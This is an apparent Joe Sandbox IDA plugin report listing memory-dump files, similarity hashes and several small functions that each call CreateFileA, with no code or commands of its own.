Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b8651a140be0cc25a8b4287f2ee2593128adc8cee5bfae4065eb079302a89488
Instruction ID: 183a04e791f9191a62b45f11103da24d0cc630fc9c9945585b143fa9f8493127
Opcode Fuzzy Hash: b8651a140be0cc25a8b4287f2ee2593128adc8cee5bfae4065eb079302a89488
Instruction Fuzzy Hash: 9C01DF3004D7529FC3168F34CCAAB9ABBB4EF02350F1941AEE0849F593C6B8A845C765

Function 00D37964 Relevance: 1.5, APIs: 1, Instructions: 45fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?), ref: 00D379A1

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 87b33f1aa3e31c50ffc90bc649c62f79e5382b0be9375c61d1d88a7de5d7d433
Instruction ID: ff185f78f265b7500947cc9afcc1d9288d45a3067e20997e5d97892967802b7b
Opcode Fuzzy Hash: 87b33f1aa3e31c50ffc90bc649c62f79e5382b0be9375c61d1d88a7de5d7d433
Instruction Fuzzy Hash: E701D6B240A69A9FC721DF64D4816EF7F61EB8A774B2449A8E4D287102C6318912DF70

Function 00D375CD Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0c2c3eeed0dd3dac62626b89fa2b5c90ebc2375ff6f5d700907dc3d72ed8b330
Instruction ID: 3642193d4d33ee84f1890aee7ea4f0354fa64fc20efa1ed4a4f4460e7776a4f1
Opcode Fuzzy Hash: 0c2c3eeed0dd3dac62626b89fa2b5c90ebc2375ff6f5d700907dc3d72ed8b330
Instruction Fuzzy Hash: C3F0CD7104C746AFCB12DF34CD92A9FBB30EF42760F0582ADE0848A0A2C37008918BB5

Function 00D375EA Relevance: 1.5, APIs: 1, Instructions: 33fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,C878AEC6,00000003,00000000,00000003), ref: 00D37623

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: eeb9cba99fd352dd2bc6c66b993c4d8936202cf92ce54ef475b0a1c7b9bd50ff
Instruction ID: bb2b4dd43412a15766c3da274427e591429a40e32ab28c22b7410c0e72b626ae
Opcode Fuzzy Hash: eeb9cba99fd352dd2bc6c66b993c4d8936202cf92ce54ef475b0a1c7b9bd50ff
Instruction Fuzzy Hash: 27F090B144DB959FC706DF30C9A664EBF70EF12350F0A829ED084CA4A3D36418559BB6

Function 00D3798B Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?), ref: 00D379A1

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6a949538852b34fb9e16a2f2a9364d2a25bf81a86b486e3cbd748688b8f7c7db
Instruction ID: 4d517d7975b44a1e26ad675caf405e91bf850ed551c7bf203c381669a8843888
Opcode Fuzzy Hash: 6a949538852b34fb9e16a2f2a9364d2a25bf81a86b486e3cbd748688b8f7c7db
Instruction Fuzzy Hash: B6E0CD5641B9D34DD7115B7085C10AE7F60DE9111471C4C9FC0D282503D8654D1BD752

Function 00D37607 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,C878AEC6,00000003,00000000,00000003), ref: 00D37623

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
